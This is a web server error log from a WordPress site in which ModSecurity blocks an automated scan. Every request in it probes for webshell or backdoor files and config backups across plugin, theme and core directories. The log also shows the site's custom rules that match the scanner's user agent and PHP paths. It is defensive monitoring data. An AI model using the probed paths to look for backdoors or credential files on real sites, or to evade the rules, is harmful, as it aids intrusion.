[Thu May 07 15:27:01.874669 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.148:21343] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/plugins/admin.php"] [unique_id "afw-xcvhwfljlt8trSqKrgAAAEE"]
[Thu May 07 15:27:02.077040 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.108:52479] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/star-addons-for-elementor/includes/class-star-addons-uploads.php"] [unique_id "afw-xsvhwfljlt8trSqKrwAAAFM"]
[Thu May 07 15:27:02.293298 2026] [:error] [pid 15715:tid 15717] [client 98.159.43.154:29519] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7-honeypot/includes/rest-api/wp-admin/config.php"] [unique_id "afw-xiY4dZsLOttMkcdfSQAAAQA"]
[Thu May 07 15:27:02.492074 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.115:22363] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/panel.php"] [unique_id "afw-xsvhwfljlt8trSqKswAAAE4"]
[Thu May 07 15:27:02.690521 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.154:59479] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/the-events-calendar/build/css/integrations/plugins/options.php"] [unique_id "afw-xsvhwfljlt8trSqKtQAAAEM"]
[Thu May 07 15:27:02.891148 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.116:31955] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/updraftplus/includes/jstree/themes/config.php"] [unique_id "afw-xsvhwfljlt8trSqKtgAAAEY"]
[Thu May 07 15:27:03.090100 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.162:33045] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "afw-x8vhwfljlt8trSqKtwAAAFA"]
[Thu May 07 15:27:03.287782 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.112:47887] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "afw-x8vhwfljlt8trSqKuAAAAFY"]
[Thu May 07 15:27:03.484299 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.136:56283] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/tiktok-for-business/"] [unique_id "afw-x8vhwfljlt8trSqKuQAAAEo"]
[Thu May 07 15:27:03.683095 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.137:34153] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/base-theme.php"] [unique_id "afw-x8vhwfljlt8trSqKugAAAE4"]
[Thu May 07 15:27:03.879728 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.121:56545] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello-plus/classes/ehp-bes.php"] [unique_id "afw-x8vhwfljlt8trSqKvAAAAEM"]
[Thu May 07 15:27:04.077470 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.108:22567] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/mu-plugins/config.php"] [unique_id "afw-yMvhwfljlt8trSqKvQAAAEY"]
[Thu May 07 15:27:04.273993 2026] [:error] [pid 15715:tid 15730] [client 98.159.43.161:40135] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afw-yCY4dZsLOttMkcdfSwAAAQo"]
[Thu May 07 15:27:04.474059 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.154:38817] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/site-logo/about.php"] [unique_id "afw-yMvhwfljlt8trSqKwQAAAFI"]
[Thu May 07 15:27:04.673060 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.158:27429] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/newfold-page-cachesocial/about.php"] [unique_id "afw-yMvhwfljlt8trSqKwgAAAEE"]
[Thu May 07 15:27:04.872505 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.145:40377] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file61.php"] [unique_id "afw-yMvhwfljlt8trSqKwwAAAEo"]
[Thu May 07 15:27:05.070874 2026] [:error] [pid 15715:tid 15740] [client 98.159.43.107:20213] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-author-name/editers.php"] [unique_id "afw-ySY4dZsLOttMkcdfTAAAARQ"]
[Thu May 07 15:27:05.269662 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.145:58189] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugin-editor-trigger.php"] [unique_id "afw-ycvhwfljlt8trSqKxAAAAEU"]
[Thu May 07 15:27:05.467667 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.141:59485] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query-pagination-numbers/wp-cron.php"] [unique_id "afw-ycvhwfljlt8trSqKxQAAAE8"]
[Thu May 07 15:27:05.665408 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.131:42833] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "afw-ycvhwfljlt8trSqKxgAAAEY"]
[Thu May 07 15:27:05.866543 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.115:25265] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade-temp-backup/media/files/files/cache/ulnc/wbdo/"] [unique_id "afw-ycvhwfljlt8trSqKyAAAAFI"]
[Thu May 07 15:27:06.067800 2026] [:error] [pid 15629:tid 15636] [client 98.159.43.118:43441] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/backup/js/build/kys/admin.php"] [unique_id "afw-yvrIJCALdUrO43lX8AAAAAM"]
[Thu May 07 15:27:06.267957 2026] [:error] [pid 15715:tid 15722] [client 98.159.43.163:38717] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/src/v1/dist/build/uols/"] [unique_id "afw-yiY4dZsLOttMkcdfTQAAAQU"]
[Thu May 07 15:27:06.465973 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.137:46085] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/css/cache/piwk/admin.php"] [unique_id "afw-ysvhwfljlt8trSqKywAAAEA"]
[Thu May 07 15:27:06.662479 2026] [:error] [pid 15629:tid 15654] [client 98.159.43.108:59843] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/test.php"] [unique_id "afw-yvrIJCALdUrO43lX8QAAABU"]
[Thu May 07 15:27:06.862133 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.163:26679] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/maintenance.php"] [unique_id "afw-ysvhwfljlt8trSqKzAAAAEQ"]
[Thu May 07 15:27:07.060267 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.142:50157] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins_new/sitepress-multilingual-cms/classes/plugins/about.php"] [unique_id "afw-y8vhwfljlt8trSqKzQAAAEU"]
[Thu May 07 15:27:07.259915 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.134:63575] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins_new/wordpress-seo/admin/import/plugins/wp-blog-header.php"] [unique_id "afw-y8vhwfljlt8trSqKzgAAAEg"]
[Thu May 07 15:27:07.463457 2026] [:error] [pid 28098:tid 28115] [client 98.159.43.146:22911] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/cs.php"] [unique_id "afw-y8vhwfljlt8trSqKzwAAAE8"]
[Thu May 07 15:27:07.663614 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.107:42097] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/IXR/met/uploads/"] [unique_id "afw-y8vhwfljlt8trSqK0gAAAEk"]
[Thu May 07 15:27:07.865204 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.158:21913] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wdf.php"] [unique_id "afw-y8vhwfljlt8trSqK0wAAAFg"]
[Thu May 07 15:27:08.064760 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.156:48091] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/koiy.php"] [unique_id "afw-zMvhwfljlt8trSqK1AAAAFY"]
[Thu May 07 15:27:08.266379 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.111:60717] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/query/"] [unique_id "afw-zMvhwfljlt8trSqK1gAAAEA"]
[Thu May 07 15:27:08.464328 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.111:52459] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/spacer/"] [unique_id "afw-zMvhwfljlt8trSqK2AAAAE4"]
[Thu May 07 15:27:08.660935 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.163:20435] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "afw-zCY4dZsLOttMkcdfTwAAARM"]
[Thu May 07 15:27:08.859268 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.108:20423] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/media/v3/js/build/icdxa/"] [unique_id "afw-zMvhwfljlt8trSqK2QAAAEg"]
[Thu May 07 15:27:09.056028 2026] [:error] [pid 15715:tid 15731] [client 98.159.43.151:55771] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/v3/data/v1/css/jmy/msl/"] [unique_id "afw-zSY4dZsLOttMkcdfUAAAAQs"]
[Thu May 07 15:27:09.257129 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.131:25775] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/build/css/cache/img/src/backup/utt/admin.php"] [unique_id "afw-zSY4dZsLOttMkcdfUQAAARg"]
[Thu May 07 15:27:09.456827 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.147:38739] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/social-links/admin.php"] [unique_id "afw-zcvhwfljlt8trSqK2gAAAFg"]
[Thu May 07 15:27:09.658126 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.114:64083] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-wolf.php"] [unique_id "afw-zcvhwfljlt8trSqK2wAAAFI"]
[Thu May 07 15:27:09.855866 2026] [:error] [pid 15715:tid 15741] [client 98.159.43.134:56229] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "afw-zSY4dZsLOttMkcdfVAAAARU"]
[Thu May 07 15:27:10.054362 2026] [:error] [pid 15715:tid 15724] [client 98.159.43.109:28937] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/astra/assets/css/minified/system_core.php"] [unique_id "afw-ziY4dZsLOttMkcdfVQAAAQc"]
[Thu May 07 15:27:10.250088 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.150:33213] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/system_core.php"] [unique_id "afw-ziY4dZsLOttMkcdfVgAAAQk"]
[Thu May 07 15:27:10.449250 2026] [:error] [pid 15715:tid 15740] [client 98.159.43.118:49195] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/themes/wp-config-backup.php"] [unique_id "afw-ziY4dZsLOttMkcdfWQAAARQ"]
[Thu May 07 15:27:10.647424 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.147:60557] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme/about.php"] [unique_id "afw-zsvhwfljlt8trSqK3QAAAFY"]
[Thu May 07 15:27:10.848742 2026] [:error] [pid 15715:tid 15722] [client 98.159.43.151:43413] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/sinatra/inc/customizer/controls/color/about.php"] [unique_id "afw-ziY4dZsLOttMkcdfWgAAAQU"]
[Thu May 07 15:27:11.048009 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.131:42299] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/blocksy/inc/panel-builder/footer/widget-area-3/"] [unique_id "afw-z8vhwfljlt8trSqK3gAAAEM"]
[Thu May 07 15:27:11.252107 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.136:47693] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/crio/woocommerce/notices/"] [unique_id "afw-z8vhwfljlt8trSqK4AAAAEQ"]
[Thu May 07 15:27:11.452013 2026] [:error] [pid 15715:tid 15738] [client 98.159.43.146:37071] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/hestia/inc/views/blog/"] [unique_id "afw-zyY4dZsLOttMkcdfXgAAARI"]
[Thu May 07 15:27:11.654370 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.152:46575] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fortified-child/docs/js/omelv/"] [unique_id "afw-z8vhwfljlt8trSqK4QAAAFA"]
[Thu May 07 15:27:11.853995 2026] [:error] [pid 15715:tid 15741] [client 98.159.43.112:58685] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/maintenance.php"] [unique_id "afw-zyY4dZsLOttMkcdfXwAAARU"]
[Thu May 07 15:27:12.053950 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.117:63413] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "afw-0HvP1GkPUuuLfqUNJQAAAMo"]
[Thu May 07 15:27:12.593593 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.122:52391] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/proton/content-index.php"] [unique_id "afw-0CY4dZsLOttMkcdfYAAAAQw"]
